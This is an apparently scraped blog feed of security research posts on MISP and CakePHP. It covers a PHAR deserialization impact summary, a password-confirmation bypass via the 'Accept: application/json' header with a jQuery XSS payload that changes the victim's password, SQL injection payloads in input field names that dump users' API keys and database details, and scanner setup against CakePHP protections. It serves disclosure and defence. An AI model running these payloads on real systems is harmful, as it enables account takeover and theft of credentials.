The impact of the MISP vulnerability is severe. As a critical application for threat intelligence sharing and collaboration, MISP is widely used by organizations and agencies in various industries including government, finance, healthcare, and defense. The vulnerability may allow attackers to gain unauthorized access to sensitive information stored in MISP, including details of ongoing investigations, vulnerabilities, and other sensitive data.

This php vulnerability might lead attackers to execute arbitrary code remotely, which can result in a complete compromise of the MISP instance and potentially lead to the compromise of other systems and networks connected to it. This can include the theft of confidential data, installation of malware or backdoors, and disruption of critical systems and services.

Moreover, the nature of MISP as a collaborative platform for sharing threat intelligence means that the impact of a compromise can extend beyond a single organization. If an attacker gains access to a MISP instance, they can potentially access and exfiltrate sensitive data from other organizations sharing information on the platform. This could have serious consequences for national security, public safety, and the privacy of individuals.

What can happen if your application is vulnerable to PHAR deserialization? Here I compose the list of impacts:

  • Remote code execution: If an attacker exploits PHAR deserialization vulnerability, they can execute arbitrary code remotely on the vulnerable system. This could result in the attacker gaining control of the system, stealing sensitive data, or using the system to launch further attacks on other systems.
  • Denial of service: Attackers can also use PHAR deserialization vulnerability to launch denial of service attacks. By exploiting this vulnerability, attackers can cause the system to crash or become unresponsive, rendering it unusable for legitimate users.
  • Data theft: PHAR deserialization vulnerability can also lead to data theft, where attackers can gain access to sensitive data stored on the system, such as user credentials, credit card numbers, and other personally identifiable information depending on the target system.
  • Malware infection: Attackers can use PHAR deserialization vulnerability to inject malware into the system, which can then be used to perform other malicious activities, such as spying on users, stealing data, or launching further attacks.
  • Reputation damage: A successful attack on the system can lead to significant reputation damage for the affected organization. This can result in a loss of customers, revenue, and credibility.

To prevent this vulnerability, organizations can take several steps:

  • Deregistering PHAR wrapper: To prevent potential security vulnerabilities, consider deregistering the PHAR wrapper if it’s not in use. This can be done using the stream_wrapper_unregister() function. 
  • Limit access to PHAR files: Restrict access to PHAR files, both from the file system and the application code. Make sure that only trusted users can read and modify PHAR archives.
  • Use only the base name of the path as input: When opening a PHAR archive, only use the base name of the path as input, rather than the entire path. This helps prevent directory traversal attacks and ensures that the PHAR archive is only opened from a known location.
  • Prepend the path with a fixed string: Prepend the path to the PHAR archive with a fixed string to make sure it is opened from the correct location. This can also help prevent directory traversal attacks.
  • Whitelist the path/URL extensions provided by the user: Whitelist the path or URL extensions provided by the user to ensure that only valid PHAR archives are opened. This helps prevent attackers from exploiting the application by injecting malicious payloads in the PHAR archive’s metadata.
  • Keep software up to date: Always keep the software and all libraries used in the application up-to-date, as new patches and security updates are released regularly to address vulnerabilities like this.
  • Monitor application logs: Monitor application logs to detect any suspicious activity, such as unauthorized attempts to access PHAR files or unusual use of the unserialize() function.
  • Conduct regular security assessments: Regular security assessments can help identify vulnerabilities in the system and address them before attackers can exploit them. Organizations should conduct periodic security assessments of their applications to ensure that they are secure and up to date. 

By implementing these measures or disabling the PHAR stream wrapper, organizations can significantly reduce the risk of attackers exploiting this vulnerability and gaining unauthorized access to their sensitive information. Organizations need to take a proactive approach to security and implement a comprehensive security strategy to protect their critical applications and data.

Conclusion

In conclusion, this vulnerability is a serious issue that needs to be addressed by organizations using web applications based on PHP. It has the possibility of attackers gaining unauthorized access to sensitive data and potentially causing significant damage. It is important to mention that this kind of php vulnerability is not something we face every time we conduct white box testing examples or real-life tests.

To prevent such attacks, it is essential to keep applications up to date with the latest security patches and follow best practices for secure deployment. Organizations should also regularly audit their systems to ensure that there are no vulnerabilities that could be exploited by attackers. Finally, it is important to have a robust incident response plan in place to quickly identify and respond to any potential attacks.

Let’s talk about conducting cybersecurity research of your web application.

Book a chat with a cybersecurity expert

[contact-form-7]

Is this article helpful to you? Share it with your friends.

Artykuł CakePHP Application Cybersecurity Research – Exploring the PHAR Deserialization PHP Vulnerability: A White Box Testing Example pochodzi z serwisu Web Application Security Testing.

]]>
CakePHP Application Cybersecurity Research – The Impact of a PHP Vulnerability: Exploring the Password Confirmation Bypass in MISP https://zigrin.com/cakephp-application-cybersecurity-research-the-impact-of-a-php-vulnerability-exploring-the-password-confirmation-bypass-in-misp/ Wed, 26 Apr 2023 11:00:00 +0000 https://zigrin.com/?p=11194 In this article As someone who tests web application security cautiously, Dawid discovered a vulnerability in MISP, a popular open-source platform for sharing and analyzing threat information. This vulnerability allows an attacker to bypass password confirmation and change sensitive information without proper authorization. In this article, I’ll explain the technical details of this PHP vulnerability […]

Artykuł CakePHP Application Cybersecurity Research – The Impact of a PHP Vulnerability: Exploring the Password Confirmation Bypass in MISP pochodzi z serwisu Web Application Security Testing.

]]>
In this article

As someone who tests web application security cautiously, Dawid discovered a vulnerability in MISP, a popular open-source platform for sharing and analyzing threat information. This vulnerability allows an attacker to bypass password confirmation and change sensitive information without proper authorization. In this article, I’ll explain the technical details of this PHP vulnerability and its possible impact on MISP users. MISP is written in CakePHP framework and the vulnerability existed in MISP source code.

In this post you will find:

Technical Details of the Password Confirmation Bypass PHP Vulnerability in MISP

When a user wants to change their profile settings in MISP, they must confirm the change by providing their current password. This is a security mechanism designed to prevent unauthorized changes to a user’s profile settings. However, he discovered that an attacker could bypass this protection.

An attacker can change the “Accept” header to “application/json” enabling them to modify sensitive data like a user’s password, email address, or API key without the confirmation of the correct password. Normally, if a user attempts to modify their profile without providing the correct password, an error message is displayed. 

This vulnerability has several possible implications for MISP users. One of them is an attacker who exploits a different vulnerability to bypass the authorization process and then uses this password confirmation bypass to change a user’s password or API key, effectively taking over their account. This can lead to unauthorized access to sensitive information and data breaches.

How Exactly?

The reason behind this behaviour could be that the MISP application uses different authorization mechanisms for different types of requests. When we try to edit our profile, the application requires us to provide our current password as a security measure to ensure that only authorized users can make changes to their profile even if we logged in to the application.

However, when we intercept the request and add the “Accept: application/json” header, we are essentially telling the MISP application that we are making an API request, and the authorization mechanism may be different for API requests. The MISP application may be designed to allow certain API requests to bypass the current password requirement for profile editing.

password confirmation bypass PHP

Note that, the “Accept: application/json” header by itself does not indicate that the request is an API request, it only indicates the preferred content type of the response.

Example Scenarios

There are a couple of attack scenarios we can take a look such as changing passwords directly and with a chain XSS attack. In the end, the attacker can then sell the compromised accounts on the dark web. Let’s have a look at these other attack scenarios in more detail!

Change passwords directly

To illustrate this attack, we will demonstrate the email change of a victim user with a legitimate email: user- [email protected]

When I want to change profile settings, MISP will present a page with the password confirmation field:

password confirmation page

Password confirmation page

So, we try to edit our profile without specifying the correct password and the result is an error message:

error message on profile edit without password confirmation

Error message on profile edit without password confirmation

This however can be bypassed by modifying the “Accept” request header to “application/json”. The below profile edit request was sent to change the email of the user “[email protected]”:

POST /users/edit HTTP/1.1
Host: misp.local
Content-Length: 484
Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1
Origin: http://misp.local
Content-Type: application/x-www-form-urlencoded 					
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4673.0 Safari/537.36 autochrome/purple
Accept: application/json
Referer: http://misp.local/users/edit
						
Accept-Encoding: gzip, deflate
Accept-Language: en-US, en;q=0.9
Cookie: MISP-f78f13dc-3a38-48a5-89e0- bdd6e6a5f7fb=q6ll8r4flem3ojp2vfd4td73au2355p3
Connection: close
				
_method=POST&data%5B_Token%5D%5Bkey%5D=cece019beb8ced15348f3e6fa294f45 f&data%5BUser%5D%5Bemail%5D=user- a%40zigrin.com&data%5BUser%5D%5Bpassword%5D=newpassword&data%5BUser%5D %5Bconfirm_password%5D=newpassword&data%5BUser%5D%5Bnids_sid%5D=751063 4&data%5BUser%5D%5Bgpgkey%5D=&data%5BUser%5D%5Bautoalert%5D=0&data%5BU ser%5D%5Bcontactalert%5D=0&data%5BUser%5D%5Bcurrent_password%5D=&data% 5B_Token%5D%5Bfields%5D=bfb0a5fff0473e74eda62a9b11ee271f7127d8c4%253A& data%5B_Token%5D%5Bunlocked%5D= 

We even did not give any value to the current password and the application changes the password to the “newpassword” and responds with an HTTP 200 response:

password confirmation bypassed

Password confirmation bypassed

Change password with an XHR requests

Moreover, the “Accept” header can be manually defined in XHR requests (JavaScript-based requests) without sending a CORS preflight request. This increases the available actions that can be triggered when exploiting XSS vulnerabilities.

The following JavaScript snippet is an example code that changes a password to “xxx” of the currently logged-in user:

u='/users/edit';$.get(u,function(d){ r=/_Token\]\[fields\]".+?value="([^"]+)"/g; f=r.exec(d)[1]; r=/_Token\]\[key\]".+?value="([^"]+)"/g; k=r.exec(d)[1];						
$.ajaxSetup({headers: {'Accept': 'application/json'}}); // Bypassing password confirmation						
$.post(u,{
'data[User][email]': '[email protected]', 'data[User][password]': 'xxx', 'data[User][confirm_password]': 'xxx', 'data[User][nids_sid]': '', 'data[User][gpgkey]': '', 'data[User][autoalert]': 0, 'data[User][contactalert]': 0, 'data[_Token][fields]': f, 'data[_Token][unlocked]': '', 'data[_Token][key]': k					
}); }

Let’s break this payload snippet

The code snippet is an example of an XSS (Cross-Site Scripting) attack that can exploit the password confirmation bypass PHP vulnerability. The code uses jQuery, a popular JavaScript library, to make an AJAX (Asynchronous JavaScript and XML) request to the server.

The ‘u’ variable is set to the URL for editing the user’s account, and the ‘$.get function’ is used to retrieve the current page content. The regular expression ‘r’ is used to extract the CSRF (Cross-Site Request Forgery) token and key values from the response content.

The ‘$.ajaxSetup’ function is used to set the Accept header to ‘application/json’, which bypasses the password confirmation process. The ‘$.post’ function then sends a POST request to the server with the new password value set to xxx.

This code can be injected into a vulnerable page through an XSS attack, allowing an attacker to change the password of the currently logged-in user without requiring the current password. The password confirmation process is bypassed because the Accept header is manually defined in the XHR request, without sending a CORS (Cross-Origin Resource Sharing) preflight request.

Developers can prevent this vulnerability by verifying that security mechanisms, such as password confirmations, are properly applied to required endpoints.  Additionally, developers should consider using Content Security Policy (CSP) to prevent XSS attacks and other common web application vulnerabilities. For further remediation suggestions, keep reading

Impact of the Password Confirmation Bypass PHP Vulnerability

It’s important to note that MISP is a critical application for detecting and sharing threat intelligence as we mentioned before. Therefore, a vulnerability in MISP can have significant consequences, such as allowing an attacker to gain access to sensitive data or compromise the security of the entire platform.

web application vulnerabilities

The password confirmation bypass vulnerability is an interesting way of bypassing protections, but its severity is low because it only affects the confirmation step of the password change process. However, if an attacker can exploit other vulnerabilities or gain access to a victim’s account, this vulnerability can be used to change the passwords or API keys of multiple users without requiring their current passwords. This could lead to the compromise of MISP accounts, which could then be sold on the dark web.

An attacker who successfully exploits this php vulnerability could potentially gain access to other sensitive data, such as confidential threat intelligence. Although the severity of this vulnerability is low, it could still have legal and reputational consequences for affected organizations, especially if they handle sensitive information related to national security or critical infrastructure.

Password confirmation is an additional layer of security that is part of the defense-in-depth approach. Practice shows that it’s important for organizations to address such vulnerabilities in applications processing sensitive data and implement similar protections to strengthen the security of web applications. This could be done by applying security patches and implementing proper security measures to prevent unauthorized access and data breaches. By taking proactive steps to address vulnerabilities, organizations can minimize the risk of data breaches and protect sensitive information from being accessed by unauthorized parties.

How to Prevent the Password Confirmation Bypass PHP Vulnerability

To prevent the password confirmation bypass and similar vulnerabilities, it’s essential to ensure that HTTP request headers cannot simply influence the access control mechanisms of web applications. Additionally, developers should consider implementing additional security measures, such as two-factor authentication and rate-limiting, to prevent unauthorized actions.

php vulnerability

Here are some action points you can use to improve the security of your web application:

  • Validate headers: To make sure that password changes are authorized securely, it’s essential to validate headers provided by the user. This includes requiring an API key with the “Accept” header for any password change requests.
  • Implement two-factor authentication: Two-factor authentication can add an extra layer of security to user accounts and prevent unauthorized access even if the password is compromised. Implement two-factor authentication using industry-standard methods, such as TOTP (Time-based One-Time Password).
  • Implement rate-limiting: Limit the number of requests that can be sent within a certain period to prevent automated attacks, such as brute-force attacks. Implement rate-limiting on login attempts, password reset requests, and other sensitive operations such as profile editing in our case.
  • Keep software up to date: Keep your application and all its dependencies up to date with the latest security patches and updates. This can prevent known PHP vulnerabilities from being exploited by attackers.
  • Conduct regular security audits and tests: Regularly audit your application for potential vulnerabilities and implement security best practices to prevent attacks. This can help identify and remediate vulnerabilities before they are exploited by attackers. For penetration tests or security advisories, feel free to contact us.
password confirmation bypass preventing

Conclusion

In conclusion, this article highlights a PHP vulnerability that allows an attacker to bypass password confirmation and change sensitive information without proper authorization in the popular open-source platform for sharing and analyzing threat information called MISP. By modifying the “Accept” request header to “application/json”, an attacker could change sensitive information, such as a user’s password or API key, without having to provide the correct password. Overall, the article emphasizes the importance of secure web application development and the need for users to remain vigilant and informed about potential security risks.

!The next article will highlight another php vulnerability, PHAR deserialization and describe their impact on web application security.

Let’s talk about conducting a cybersecurity research of your web application.

Book a chat with a cybersecurity expert

[contact-form-7]

Is this article helpful to you? Share it with your friends.

Artykuł CakePHP Application Cybersecurity Research – The Impact of a PHP Vulnerability: Exploring the Password Confirmation Bypass in MISP pochodzi z serwisu Web Application Security Testing.

]]>
CakePHP Application Cybersecurity Research – Hiding in Plain Sight: The Hidden Danger of SQL Injection in Input Field Names https://zigrin.com/cakephp-application-cybersecurity-research-hiding-in-plain-sight-the-hidden-danger-of-sql-injection-in-input-field-names/ Wed, 12 Apr 2023 11:00:00 +0000 https://zigrin.com/?p=11090 In this article you will find: Web applications have become an integral part of modern-day businesses, and with the increase in their usage, web security has become a significant concern. Among the various security threats, SQL injection is a severe vulnerability that can lead to the exposure of sensitive data and even the compromise of […]

Artykuł CakePHP Application Cybersecurity Research – Hiding in Plain Sight: The Hidden Danger of SQL Injection in Input Field Names pochodzi z serwisu Web Application Security Testing.

]]>

In this article you will find:

Web applications have become an integral part of modern-day businesses, and with the increase in their usage, web security has become a significant concern. Among the various security threats, SQL injection is a severe vulnerability that can lead to the exposure of sensitive data and even the compromise of an entire system. In this article, we will try to explain the SQL injection vulnerability we found in the MISP application that is identified as  CVE-2022-48328. MISP uses CakePHP framework and the vulnerability relies on the PHP code therefore, it is a php vulnerability.

Briefly, The MISP

MISP (Malware Information Sharing Platform) is an open-source threat intelligence platform designed to facilitate the sharing of cybersecurity threat information among organizations. It allows users to share and collaborate on threat intelligence data, including indicators of compromise, malware samples, and attack patterns. MISP also offers an API that enables developers to integrate the platform with other security tools.

Given the critical nature of the data stored in MISP, this PHP vulnerability poses a significant threat to the confidentiality, integrity, and availability of the data.

However, like any software application, MISP is vulnerable to security risks, one of which is SQL Injection. In this article, we will discuss what SQL Injection is, the role of CRUD components, the details of CVE-2022-48328, and how to prevent SQL Injection attacks.

What is SQL Injection?

SQL Injection is a type of web application security vulnerability that occurs when an attacker injects malicious SQL code into a web application’s SQL statement. This can be achieved by inserting specially crafted input into a web form or manipulating a query string. If the application does not properly validate and sanitize user input, the injected SQL code can be executed by the database, resulting in unauthorized access to sensitive data, manipulation of data, and even complete control of the application and underlying server.

sql injection web application

What is CRUD component?

CRUD (Create, Read, Update, Delete) is a set of basic operations that are commonly used in database applications. These operations enable users to create new records, retrieve existing ones, update or modify existing records, and delete unwanted records. CRUD components are an integral part of most web applications that interact with databases.

What is this specific vulnerability CVE-2022-48328?

CVE-2022-48328 is a SQL injection vulnerability we discovered that affects several controllers, which use the “index” method from the CRUD component. These controllers include AuthKeys, WorkflowBlueprints, SharingGroupBlueprints, CorrelationExclusions, Roles, TaxiiServers, Cerebrates, Feeds, Noticelists, and Workflows. The line numbers in the corresponding controller files where the vulnerability occurs are also identified.

This vulnerability can be exploited by an attacker who has knowledge of SQL injection exploitation techniques. They can use the “index” method to insert malicious SQL code into the application, which can allow them to access or modify data in the database.

Why this PHP vulnerability is unique?

This SQL injection vulnerability is unique in that it occurs in the input field name, rather than the input value. This makes it a particularly rare and difficult PHP vulnerability to detect and prevent. While most developers are aware of the risk of SQL injection attacks in input values, the danger posed by input field names is often overlooked. Attackers can exploit this vulnerability by injecting malicious SQL code into the parameter name, allowing them to gain unauthorized access to sensitive data or even take control of the entire application. Detecting and preventing SQL injection in input field names requires careful attention to detail and a thorough understanding of web application data flow. Even with careful attention, SQL injection vulnerability in input field name will be probably missed whether manually sql injection test conducted or scanned with most of the tools.

This is why it’s good to conduct white box penetration testing or cybersecurity research.

If you would like to thoroughly verify the security of your web application take a look at our web application security testing service:

Example Scenarios

To illustrate the impact of this vulnerability, we have prepared two scenarios: stealing users’ API keys and extracting information about the database so you can see the real impact of such PHP vulnerability and use this as a guide for your sql injection test.

Stealing Users’ API Keys

In this scenario, we show how an authenticated attacker can exploit the vulnerability by injecting malicious SQL code into a POST request sent to the /auth_keys/index endpoint. The code executes within the application and returns the details of all API keys in the database, even those belonging to other users.  Attackers with low-level access to the application can use this vulnerability to gain unauthorized access to sensitive data, including API keys of other users. This could result in a complete account compromise, allowing attackers to steal or manipulate data, change application settings, and even execute commands on the underlying system.

POST /auth_keys/index HTTP/1.1
Host: misp.local
Cookie: MISP-af1eb4a0-9e68-4aa5-84ce- c98ddea860f3=e477ak9d8c3b7h6nlcpts7ualhe417ep
Content-Type: application/x-www-form-urlencoded Content-Length: 32
Accept: application/json
Connection: close

uuid%3d"a"/**/OR/**/1%3d1))%23=1

Before continuing, let’s have a look at what is going on with this HTTP request. In this specific payload, the string “uuid%3d"a"/**/OR/**/1%3d1))%23=1” is being sent in the POST request body. Let’s break it down:

  • First of all, this payload consists of 2 parts. First part is input field name which is “uuid%3d"a"/**/OR/**/1%3d1))%23=” and second part is input field value, “1”.
  • uuid%3d: This is the first part of the input field name that we are trying to exploit. In this case, it is “uuid”. 
  • "a": This is the second part of our input field name. In this case, we closed the original SQL query with a double quote (“) and then appended the OR condition to the WHERE clause of the query.
  • /**/: This is a SQL comment that we used to comment out the space between “a” and “OR”. This is done to ensure that the input value is correctly interpreted as a string and concatenated with the OR condition.
  • OR: This keyword is used to specify an alternate condition for the WHERE clause. In this case, we specified the condition 1=1 to make sure that all API keys will be returned, not just the ones assigned to our current user.
  • 1%3d1: This is a condition that will always evaluate to true. The %3d represents an encoded equals sign (=) character.
  • ))%23=1: These are characters used to close our injected SQL query and prevent any additional SQL code from being executed. The double parentheses are used to close the original SQL query that the web application uses to retrieve data from the database, and the %23 character is used to URL-encode a hash sign (#) to comment out the rest of the SQL query. Finally “1” is the input field value of our payload.

To bypass the CSRF protection in normal POST requests, we added the “Accept” header with the value “application/json”. We can then extract the information we need, as shown in Figure 1.

Figure 1 – API keys of all users

The JSON response we received is a list containing a list of key preffixes and suffixes together with the key owner. 

From the “AuthKey” object, we can see various pieces of information such as the authentication key’s ID, UUID, creation time, expiration time, read-only status, associated user ID, comment, allowed IPs, and last used timestamp. This information could be useful for an attacker looking to exploit a vulnerability in the authentication system.

From the “User” object, we can see the ID and email of the user associated with the authentication key. This information could be useful for an attacker with low privileged user access who is trying to escalate their privileges and gain access to the system as a privileged user. In this scenario, the user could inject malicious SQL code into a POST request to the /auth_keys/index endpoint to retrieve the details of all API keys, including those of the admin. Because the vulnerability can be exploited by low-privileged users, it poses a significant threat to the security of the entire application.

The acquisition of this JSON response was a result of a successful SQL injection attack that allowed us to bypass the access control and retrieve this sensitive information from the MISP application’s database.

This example shows the exfiltration of just some parts of the authentication keys of all users in MISP. Using this SQL injection it is possible to steal the entire authentication key as it resides in the database in the plaintext format.

Extracting Information About the Database

In this scenario, we will show how an attacker can extract information about the database. We can send a POST request to the /auth_keys/index endpoint with the malicious SQL code injected into the request. The code will be executed by the application, which will return information about the database.

POST /auth_keys/index HTTP/1.1
Host: misp.local
Cookie: MISP-af1eb4a0-9e68-4aa5-84ce- c98ddea860f3=e477ak9d8c3b7h6nlcpts7ualhe417ep Content-Type: application/x-www-form-urlencoded Content-Length: 122
Accept: application/json
Connection: close
uuid%3d"a"))UNION/**/SELECT/**/111,user(),database(),@@hostname,@@datadir,666,777,888,999,000,111111,version(),131313%23

Just like the previous example, before continuing let’s have a look at what is going on with this HTTP request. In this specific payload, the string “uuid%3d"a"))UNION/**/SELECT/**/111,user(),database(),@@hostname,@@datadir,666,777,888,999,000,111111,version(),131313%23” is being sent in the POST request body. Let’s break down this one too:

  • uuid%3d: This is the first part of input field name that the we are trying to exploit. In this case, it is “uuid”.
  • "a")): This is our input value for the “uuid” input field. We closed the original SQL query with a double quote (“) and then appended a second SQL query using the UNION keyword. The closing parentheses ( )) are used to properly close the first query before starting the second query.
  • UNION: This keyword is used to combine our SQL query with the original SQL query that the web application uses to retrieve data from the database.
  • /**/: This is a SQL comment that we used to comment out the space between “UNION”-“SELECT” and “SELECT”-“111”. This is done to ensure that the input value is correctly interpreted as a string and concatenated with the query.
  • SELECT: This keyword is used to specify the data that we want to retrieve from the database.
  • 111,user(),database(),@@hostname,@@datadir,666,777,888,999,000,111111,version(),131313: These are the fields that we selected from the database. In this case, we selected 13 fields: the number 111, the current user name, the name of the current database, the hostname of the server, the data directory of the server, the numbers 666, 777, 888, 999, 000, the number 111111, the version of the database software, and the number 131313. The number fields are purposely used to satisfy the correct number of columns in the original select statement. The purpose of selecting these fields is to retrieve information about the server and its database that can be used in further attacks and demonstration purposes in this case.
  • %23: This is a URL-encoded pound sign (#), which is used to terminate the SQL query and comment out any remaining text in the input field. We used this to prevent the last part of the original SQL query to influence our injected part.

When the vulnerable web application receives this payload, it constructs an SQL query that probably looks like this:

We can use this information to plan further attacks, such as trying to exploit other vulnerabilities in the application or database. We can extract the information from the database as shown in Figure 2.

Figure 2 – Database information exfiltrated

What we acquired

The response includes a single object containing two properties: “0” and “AuthKey”. The property “0” contains, the database system type, operating system MISP application currently running, and internal directory name because of the SQL query we injected.

Why it matters and what can be done with this information

This information is important because it allows us or any other attacker to gain access to sensitive information stored in the MISP web application’s database. With access to the authentication key, we or an attacker could gain unauthorized access to the application or even the underlying server.

The impact and seriousness of the vulnerability cannot be overstated. An attacker who gains access to the authentication key can potentially access the entire MISP application and underlying server, allowing unauthorized access to events, attributes, sharing groups, posts, and more. Furthermore, the attacker can also access the admin’s API key, granting them super admin access and full account compromise. This level of access can result in stealing sensitive information, modifying data, changing the configuration of the application, blocking access, and even taking down the entire system. The attacker can also use the information obtained from the JSON response to carry out additional attacks or reconnaissance, such as identifying and targeting other vulnerable web applications and servers in the organization’s network.

Here are some other examples scenarios of how an attacker could use this information:

  • Exploiting known vulnerabilities: Suppose the JSON response reveals that the target system is running an outdated version of a component with a known vulnerability. The attacker could use this information to launch an attack against the application, potentially gaining unauthorized access to operating system itself.
  • Targeting other web applications and servers: If the attacker can identify other web applications or servers within the organization’s network, they may attempt to exploit those systems as well.
  • Conducting reconnaissance: By obtaining information about the target system, the attacker can gain a better understanding of its architecture, software, and potential vulnerabilities. This information can help them plan future attacks against the system or other systems within the organization’s network.

It is important to highlight that 99% of MISP functionalities are available to authenticated users only. Therefore, this vulnerability cannot be exploited by unauthenticated visitors.

Preventing SQL Injection Vulnerabilities

SQL injection vulnerabilities can have a significant impact on an organization’s security, as demonstrated in the examples above. To prevent these vulnerabilities, organizations should take the following measures:

  • Input validation: Organizations should ensure that all user input is validated and sanitized to prevent any malicious code from being executed.
  • Parameterized queries: Organizations should use parameterized queries to ensure that user input is properly sanitized and not executed as SQL code.
  • Restricted access: Organizations should ensure that users only have access to the data that they need to perform their job functions. This can limit the impact of an SQL injection attack.
  • Regular vulnerability testing: Organizations should regularly test their applications for vulnerabilities, including SQL injection vulnerabilities. This can help to identify and address any vulnerabilities before they can be exploited.
how to prevent sql injection

Conclusion

SQL injection vulnerabilities are a significant threat to an organization’s security. The vulnerability we discovered in controllers that use the “index” method from the CRUD component can be exploited to access or modify data in the database. We provided two examples of the impact that this vulnerability can have on an organization, including stealing users’ API keys and extracting information about the database.

To prevent SQL injection vulnerabilities, organizations should take measures such as input validation, parameterized queries, restricted access, and regular vulnerability testing.

Let’s talk about conducting cybersecurity research of your web application.

Book a chat with a cybersecurity expert

[contact-form-7]

Is this article helpful to you? Share it with your friends.

Artykuł CakePHP Application Cybersecurity Research – Hiding in Plain Sight: The Hidden Danger of SQL Injection in Input Field Names pochodzi z serwisu Web Application Security Testing.

]]>
CakePHP Application Cybersecurity Research – Bypassing security mechanisms in CakePHP vulnerability scanning https://zigrin.com/cakephp-application-cybersecurity-research-bypassing-security-mechanisms-in-cakephp-vulnerability-scanning/ Wed, 29 Mar 2023 11:15:00 +0000 https://zigrin.com/?p=11027 Vulnerability Scanning of CakePHP Applications If you want to perform vulnerability scanning of your CakePHP-based web application, you have to make sure to correctly configure your scanner. Otherwise, it won’t be effective and you will get a false sense of security because it won’t find web application vulnerabilities. For a CakePHP-based web application, it may […]

Artykuł CakePHP Application Cybersecurity Research – Bypassing security mechanisms in CakePHP vulnerability scanning pochodzi z serwisu Web Application Security Testing.

]]>
Vulnerability Scanning of CakePHP Applications

If you want to perform vulnerability scanning of your CakePHP-based web application, you have to make sure to correctly configure your scanner. Otherwise, it won’t be effective and you will get a false sense of security because it won’t find web application vulnerabilities. For a CakePHP-based web application, it may be very difficult or even impossible to correctly configure a tool performing vulnerability scanning. However, there are ways to solve this problem and perform successful vulnerability scanning. The examples I’m showing here are based on the Burp Suite Pro scanner. This is one of the most popular DAST scanners used by cybersecurity experts, penetration testers, bug hunters, and organizations that implement it as part of their CI/CD process.

!This is the third article in the “CakePHP Application Cybersecurity Research” series where I describe the security mechanisms in web applications based on CakePHP framework such as authentication, blackholing, and CSRF protection. I’m also showing how to bypass those protections to successfully perform vulnerability scanning. Here you can find the other articles in the series:

In this article you will find:

Vulnerability scanning vs the authentication

Authentication is one of the most important security mechanisms in most web applications, not only present in applications based on CakePHP. Authentication is a process of verifying the identity of the user. Whenever you provide your username and password to login to the application, this is the authentication process. If the application implements multi factor authentication or social media login, this is also part of authentication.

To ensure that the vulnerability scanning process scans as many endpoints as possible, we must ensure that the scanner can successfully authenticate to the application. Otherwise, the scanner will only see the login page and a few other pages that are available to unauthenticated users.

The CakePHP framework allows web developers to implement authentication using various plugins. The most common plugin is the Authentication plugin created by the developers of the CakePHP framework. There are other plugins that support other types of authentications, such as JWT, social media, two factor authentication, and more. All of these methods will require different configurations before vulnerability scanning can begin. In this article, I will focus on the most popular plugin created by the CakePHP developers.

CEO, Cybersecurity Expert

If you would like to conduct a white box penetration testing of your web application leave your email and I will contact you.

Book a chat with me

[contact-form-7]

Authenticated vulnerability scanning using Burp Pro scanner

From a security perspective, authentication using login and password in CakePHP applications is very similar to authentication in other applications. In this case we can configure the vulnerability scanning tool to properly authenticate before conducting the scan.

In the Burp Suite Pro scanner, we can do this when creating a new scan. First, you need to click on the New Scan button in the dashboard tab:

Second, you need to specify the URLs to scan and define the scan type as shown below:

Once you get to the Application Login section, you will need to create new login credentials:

After this stage, you can click OK to start the scan:

Once the scan starts, you can click on the “View details” link and go to the Logger tab:

In the Logger tab you can see that at some point, the scanner will authenticate to the application to access other features.

In the screenshot below you can see the credentials we provided in the vulnerability scanning configuration. The application authenticates the scanner correctly:

Note that some configurations may use the authentication credentials differently. This can result in limited vulnerability scanning due to account lockout. In our example above we used the “Light Only” scanning configuration.

If your scanner cannot pass the authentication process you can still bypass the authentication using an alternate method described in the “Disabling authentication in CakePHP” section of this article.

Limiting web application vulnerabilities with authorization and access control

Authentication is often confused with authorization. The purpose of authorization is not to verify the identity of the user but to verify already authenticated user’s privileges and permissions to data and functionality of the application. The simplest example of this would be an e-commerce application. You can imagine that two users authenticate to the application, place orders for different products, and receive an invoice for their respective orders. It seems obvious that one user should not be able to see the invoice of the other user, even though they are both authenticated to the application. Equally, if not more important, a non -customer should not be able to see either invoice. This protection is called authorization.

Authorization and access control in CakePHP

When analyzing the permissions and privileges of users in an application based on CakePHP, access control is a synonym for the authorization.

However, there are situations where these terms are not interchangeable. In such situations, authorization is a process of defining the levels of access for sepcific users, user types, roles, groups, and so on. Access control, on the other hand enforces these definitions, sometimes adding additional policies such as geographic restrictions, device type restrictions, and so on.

Regardless of the situation, these two terms are used closely together.

In CakePHP web applications, authorization is also implemented by plugins, similarly the most common plugin is from CakePHP development team “Authorization”.

The implementation of the authorization process can actually vary from application to application.

For example, Cerebrate defines which resources can be accessed by which type of users in a dedicated ACLComponent.

In the screenshot below, you can see that some controller-action pairs can be accessed by users with the “perm_admin” role, and others can be accessed by any authenticated user.

Other applications can specify the required roles or permissions within actions in controller files. An example is the PassBolt addPost action of the UsersAdd controller:

This is often the case when a different behavior of the action is triggered depending on the user’s role who performs the action.

The application can also indicate controllers that are accessible to unauthenticated users by calling the skipAuthorization method of the Authorization component. It is worth looking for this in the code to find the most exposed areas of the application.

Security Component in CakePHP

The CakePHP SecurityComponent protects against several types of web application vulnerabilities. It can be implemented in the application’s controllers using the following instruction:

$this->loadComponent(‘Security’);

Once it’s loaded, the form tampering prevention is enabled.

Discovering more web application vulnerabilities by bypassing form tampering prevention

By default, form tampering prevention in the CakePHP framework validates all POST requests and ensures that only the expected parameters are provided. This mechanism blocks all requests that match at least one of the following conditions:

  • An unexpected field is added to the POST request
  • A required POST field has been removed from the request
  • Hidden field value has been modified

It is essentially an advanced whitelisting mechanism for POST request body parameters.

This means that if you intercept a POST request and add a new parameter to it, CakePHP will block it.

The CakePHP framework’s SecurityComponent implements this protection by calculating a hash of the expected parameters and sending that hash in POST requests. This is done in the SecurityComponent.php file, in the _validatePost method:

protected function _validatePost(Controller $controller): void
{
       $token = $this->_validToken($controller);
       $hashParts = $this->_hashParts($controller);
       $check = hash_hmac('sha1', implode('', $hashParts), Security::getSalt());


       if (hash_equals($check, $token)) {
           return;
       }

Line 1 is the extraction of the token sent in the HTTP request _Token[fields].

Line 2 extracts the information from the request that will be hashed later. The $hashParts is an array containing the following information:

  1. URL path. For example: /EncryptionKeys/edit/2
  2. Serialized and sorted POST parameter names associated with this particular request. For example: “a:3:{i:0;s:14:”encryption_key”;i:1;s:7:”revoked”;i:2;s:4:”type”;}”
    This does not include generic parameters such as _method, _csrfToken, or _Token and excludes unlocked parameters.
  3. The value of the _Token[unlocked].
  4. Session identifier

Elements of this array are concatenated into a string. A SHA1 hash is then calculated using the application salt in line 3.

